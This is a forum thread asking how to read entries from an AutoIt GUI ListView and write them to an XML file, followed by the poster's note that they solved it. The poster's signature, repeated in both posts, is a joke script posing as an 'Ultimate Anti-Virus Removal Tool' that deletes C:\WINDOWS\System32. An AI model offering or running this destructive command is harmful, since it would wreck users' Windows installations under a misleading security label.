Sign in to follow this  
Followers 0
Firefoxy

Reading data in a GUI ListView

3 posts in this topic

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("XML Writer", 388, 474, 193, 133)
$Label1 = GUICtrlCreateLabel("Food", 8, 8, 36, 20)
$Label2 = GUICtrlCreateLabel("Price", 216, 8, 35, 20)
$xFood = GUICtrlCreateInput("", 8, 32, 185, 24)
$xPrice = GUICtrlCreateInput("", 216, 32, 81, 24)
$Button1 = GUICtrlCreateButton("Add", 304, 32, 67, 25, 0)
$xList1 = GUICtrlCreateListView("Food|Price", 8, 72, 369, 358)
$Button2 = GUICtrlCreateButton("Write to XML", 16, 440, 91, 25, 0)
$Button3 = GUICtrlCreateButton("Exit", 296, 440, 75, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            $Food = GUICtrlRead($xFood)
            $Price = GUICtrlRead($xPrice)
            GUICtrlCreateListViewItem($Food & "|" & $Price, $xList1)
        Case $Button2
            $List1 = GUICtrlRead($xList1)
            $XMLdest = FileOpenDialog("Select destination...", "", "XML files (*.xml)") & ".xml"
            FileOpen($XMLdest, 2)
            FileWrite($XMLdest, "<?xml version=" & "1.0 encoding=utf-8?>")
            .....???????
        Case $Button3
            Exit
    EndSwitch
WEnd

This is a simplified version of what I'm deciding to make. As you can see it's a simple Item/Price list. My plan is: after you've added all the data you want you press the 'create xml' button. Once you've decided where to save the xml document I would like AutoIt to read the ListView and get all of the data and write it to the xml file. Can I do this?

I believe it would have to get the number of entries in the ListView then use a loop of some sort to write line by line each of the values...but I have no idea how. Is this possible?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



I believe I found a way around this so nevermind...


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0